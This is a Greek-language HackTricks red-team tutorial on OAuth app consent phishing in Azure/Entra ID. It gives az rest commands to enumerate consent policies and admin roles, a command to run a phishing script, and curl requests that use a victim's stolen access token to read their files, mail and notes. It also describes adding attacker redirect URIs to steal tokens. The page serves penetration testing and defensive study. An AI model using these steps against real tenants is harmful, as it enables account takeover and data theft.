Az - OAuth Apps Phishing

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

OAuth App Phishing

Οι εφαρμογές Azure είναι ρυθμισμένες με τις άδειες που θα μπορούν να χρησιμοποιούν όταν ένας χρήστης δώσει τη συγκατάθεση για την εφαρμογή (όπως η καταμέτρηση του καταλόγου, η πρόσβαση σε αρχεία ή η εκτέλεση άλλων ενεργειών). Σημειώστε ότι η εφαρμογή θα ενεργεί εκ μέρους του χρήστη, οπότε ακόμη και αν η εφαρμογή μπορεί να ζητά άδειες διαχείρισης, αν ο χρήστης που τη συγκαταθέτει δεν έχει αυτή την άδεια, η εφαρμογή δεν θα μπορεί να εκτελεί διοικητικές ενέργειες.

Άδειες συγκατάθεσης εφαρμογής

Από προεπιλογή, οποιοσδήποτε χρήστης μπορεί να δώσει συγκατάθεση σε εφαρμογές, αν και αυτό μπορεί να ρυθμιστεί ώστε οι χρήστες να μπορούν να δίνουν συγκατάθεση μόνο σε εφαρμογές από επαληθευμένους εκδότες για επιλεγμένες άδειες ή ακόμη και να αφαιρεθεί η άδεια για τους χρήστες να δίνουν συγκατάθεση σε εφαρμογές.

Αν οι χρήστες δεν μπορούν να δώσουν συγκατάθεση, οι διαχειριστές όπως GA, Application Administrator ή Cloud Application Administrator μπορούν να δώσουν συγκατάθεση στις εφαρμογές που θα μπορούν να χρησιμοποιούν οι χρήστες.

Επιπλέον, αν οι χρήστες μπορούν να δώσουν συγκατάθεση μόνο σε εφαρμογές που χρησιμοποιούν χαμηλού κινδύνου άδειες, αυτές οι άδειες είναι από προεπιλογή openid, profile, email, User.Read και offline_access, αν και είναι δυνατόν να προστεθούν περισσότερες σε αυτή τη λίστα.

Και αν μπορούν να δώσουν συγκατάθεση σε όλες τις εφαρμογές, μπορούν να δώσουν συγκατάθεση σε όλες τις εφαρμογές.

2 Τύποι επιθέσεων

  • Μη αυθεντικοποιημένη: Από έναν εξωτερικό λογαριασμό δημιουργήστε μια εφαρμογή με τις χαμηλού κινδύνου άδειες User.Read και User.ReadBasic.All, για παράδειγμα, phishing ενός χρήστη, και θα μπορείτε να έχετε πρόσβαση σε πληροφορίες του καταλόγου.
  • Αυτό απαιτεί ο φερόμενος χρήστης να είναι ικανός να αποδεχτεί OAuth εφαρμογές από εξωτερικό ενοίκιο.
  • Αν ο φερόμενος χρήστης είναι κάποιος διαχειριστής που μπορεί να δώσει συγκατάθεση σε οποιαδήποτε εφαρμογή με οποιεσδήποτε άδειες, η εφαρμογή θα μπορούσε επίσης να ζητήσει προνομιακές άδειες.
  • Αυθεντικοποιημένη: Έχοντας παραβιάσει έναν κύριο με αρκετές άδειες, δημιουργήστε μια εφαρμογή μέσα στον λογαριασμό και phish κάποιον προνομιακό χρήστη που μπορεί να αποδεχτεί προνομιακές άδειες OAuth.
  • Σε αυτή την περίπτωση μπορείτε ήδη να έχετε πρόσβαση στις πληροφορίες του καταλόγου, οπότε η άδεια User.ReadBasic.All δεν είναι πλέον ενδιαφέρουσα.
  • Πιθανώς σας ενδιαφέρουν άδειες που απαιτούν να τις χορηγήσει διαχειριστής, γιατί ο απλός χρήστης δεν μπορεί να δώσει σε OAuth εφαρμογές καμία άδεια, γι’ αυτό χρειάζεται να phish μόνο αυτούς τους χρήστες (περισσότερα σχετικά με ποιες ρόλοι/άδειες χορηγούν αυτό το προνόμιο αργότερα).

Οι χρήστες επιτρέπεται να δίνουν συγκατάθεση

Σημειώστε ότι πρέπει να εκτελέσετε αυτή την εντολή από έναν χρήστη μέσα στο ενοίκιο, δεν μπορείτε να βρείτε αυτή τη ρύθμιση ενός ενοικίου από εξωτερικό. Η παρακάτω cli μπορεί να σας βοηθήσει να κατανοήσετε τις άδειες των χρηστών:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
  • Οι χρήστες μπορούν να δώσουν συγκατάθεση σε όλες τις εφαρμογές: Αν μέσα στο permissionGrantPoliciesAssigned βρείτε: ManagePermissionGrantsForSelf.microsoft-user-default-legacy τότε οι χρήστες μπορούν να αποδεχτούν κάθε εφαρμογή.
  • Οι χρήστες μπορούν να δώσουν συγκατάθεση σε εφαρμογές από επαληθευμένους εκδότες ή την οργάνωσή σας, αλλά μόνο για τις άδειες που επιλέγετε: Αν μέσα στο permissionGrantPoliciesAssigned βρείτε: ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team τότε οι χρήστες μπορούν να αποδεχτούν κάθε εφαρμογή.
  • Απενεργοποίηση συγκατάθεσης χρηστών: Αν μέσα στο permissionGrantPoliciesAssigned μπορείτε να βρείτε μόνο: ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat και ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team τότε οι χρήστες δεν μπορούν να δώσουν καμία συγκατάθεση.

Είναι δυνατόν να βρείτε τη σημασία κάθε μιας από τις σχολιασμένες πολιτικές στο:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"

Διαχειριστές Εφαρμογών

Έλεγχος χρηστών που θεωρούνται διαχειριστές εφαρμογών (μπορούν να αποδεχτούν νέες εφαρμογές):

# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"

# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"

# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"

# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

Επισκόπηση Ροής Επίθεσης

Η επίθεση περιλαμβάνει αρκετά βήματα που στοχεύουν σε μια γενική εταιρεία. Να πώς μπορεί να εξελιχθεί:

  1. Καταχώρηση Τομέα και Φιλοξενία Εφαρμογής: Ο επιτιθέμενος καταχωρεί έναν τομέα που μοιάζει με αξιόπιστη ιστοσελίδα, για παράδειγμα, “safedomainlogin.com”. Κάτω από αυτόν τον τομέα, δημιουργείται ένα υποτομέας (π.χ., “companyname.safedomainlogin.com”) για να φιλοξενήσει μια εφαρμογή σχεδιασμένη να καταγράφει κωδικούς εξουσιοδότησης και να ζητάει διακριτικά πρόσβασης.
  2. Καταχώρηση Εφαρμογής στο Azure AD: Ο επιτιθέμενος καταχωρεί μια Πολυ-Ενοικιαζόμενη Εφαρμογή στο Azure AD Tenant του, ονομάζοντάς την όπως η στοχοθετημένη εταιρεία για να φαίνεται νόμιμη. Ρυθμίζει το Redirect URL της εφαρμογής να δείχνει στον υποτομέα που φιλοξενεί την κακόβουλη εφαρμογή.
  3. Ρύθμιση Δικαιωμάτων: Ο επιτιθέμενος ρυθμίζει την εφαρμογή με διάφορα δικαιώματα API (π.χ., Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Αυτά τα δικαιώματα, μόλις παραχωρηθούν από τον χρήστη, επιτρέπουν στον επιτιθέμενο να εξάγει ευαίσθητες πληροφορίες εκ μέρους του χρήστη.
  4. Διανομή Κακόβουλων Συνδέσμων: Ο επιτιθέμενος δημιουργεί έναν σύνδεσμο που περιέχει το client id της κακόβουλης εφαρμογής και τον μοιράζεται με στοχοθετημένους χρήστες, εξαπατώντας τους να παραχωρήσουν συγκατάθεση.

Παράδειγμα Επίθεσης

  1. Καταχωρήστε μια νέα εφαρμογή. Μπορεί να είναι μόνο για τον τρέχοντα κατάλογο αν χρησιμοποιείτε έναν χρήστη από τον επιτιθέμενο κατάλογο ή για οποιονδήποτε κατάλογο αν αυτή είναι μια εξωτερική επίθεση (όπως στην παρακάτω εικόνα).
  2. Επίσης, ρυθμίστε το redirect URI στη αναμενόμενη διεύθυνση URL όπου θέλετε να λάβετε τον κωδικό για να αποκτήσετε τα διακριτικά (http://localhost:8000/callback από προεπιλογή).
  1. Στη συνέχεια, δημιουργήστε ένα μυστικό εφαρμογής:
  1. Επιλέξτε δικαιώματα API (π.χ. Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read)
  1. Εκτελέστε την ιστοσελίδα (azure_oauth_phishing_example) που ζητάει τα δικαιώματα:
# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
  1. Στείλτε το URL στο θύμα
  2. Σε αυτή την περίπτωση http://localhost:8000
  3. Τα θύματα πρέπει να αποδεχτούν την προτροπή:
  1. Χρησιμοποιήστε το access token για να αποκτήσετε τις ζητούμενες άδειες:
export ACCESS_TOKEN=<ACCESS_TOKEN>

# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

Άλλα Εργαλεία

Μετά την Εκμετάλλευση

Phishing Μετά την Εκμετάλλευση

Ανάλογα με τις ζητούμενες άδειες, μπορεί να είστε σε θέση να έχετε πρόσβαση σε διάφορα δεδομένα του ενοικιαστή (λίστα χρηστών, ομάδων… ή ακόμα και να τροποποιήσετε ρυθμίσεις) και πληροφορίες του χρήστη (αρχεία, σημειώσεις, emails…). Στη συνέχεια, μπορείτε να χρησιμοποιήσετε αυτές τις άδειες για να εκτελέσετε αυτές τις ενέργειες.

Διαχείριση Εφαρμογών Entra ID

Εάν καταφέρατε να συμβιβάσετε με κάποιο τρόπο ένα κύριο Entra ID που μπορεί να διαχειριστεί Εφαρμογές στο Entra ID, και υπάρχουν εφαρμογές που χρησιμοποιούνται από τους χρήστες του ενοικιαστή. Ένας διαχειριστής θα μπορούσε να τροποποιήσει τις άδειες που ζητά η εφαρμογή και να προσθέσει μια νέα επιτρεπόμενη διεύθυνση ανακατεύθυνσης για να κλέψει τα tokens.

  • Σημειώστε ότι είναι δυνατόν να προσθέσετε URIs ανακατεύθυνσης (δεν χρειάζεται να διαγράψετε την πραγματική) και στη συνέχεια να στείλετε έναν HTTP σύνδεσμο χρησιμοποιώντας την URI ανακατεύθυνσης του επιτιθέμενου, έτσι ώστε όταν ο χρήστης ακολουθήσει τον σύνδεσμο, η αυθεντικοποίηση να συμβαίνει αυτόματα και ο επιτιθέμενος να λαμβάνει το token.
  • Είναι επίσης δυνατό να αλλάξετε τις άδειες που ζητά η εφαρμογή προκειμένου να αποκτήσετε περισσότερες άδειες από τους χρήστες, αλλά σε αυτή την περίπτωση ο χρήστης θα χρειαστεί να αποδεχτεί ξανά την προτροπή (ακόμα και αν ήταν ήδη συνδεδεμένος).
  • Για να εκτελέσει αυτή την επίθεση, ο επιτιθέμενος ΔΕΝ ΧΡΕΙΑΖΕΤΑΙ να ελέγχει τον κώδικα της εφαρμογής, καθώς θα μπορούσε απλά να στείλει τον σύνδεσμο για σύνδεση στην εφαρμογή στον χρήστη με τη νέα διεύθυνση URL στην παράμετρο redirect_uri.

Μετά την Εκμετάλλευση της Εφαρμογής

Ελέγξτε τις ενότητες Εφαρμογών και Υπηρεσιών Principal της σελίδας:

Az - EntraID Privesc

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks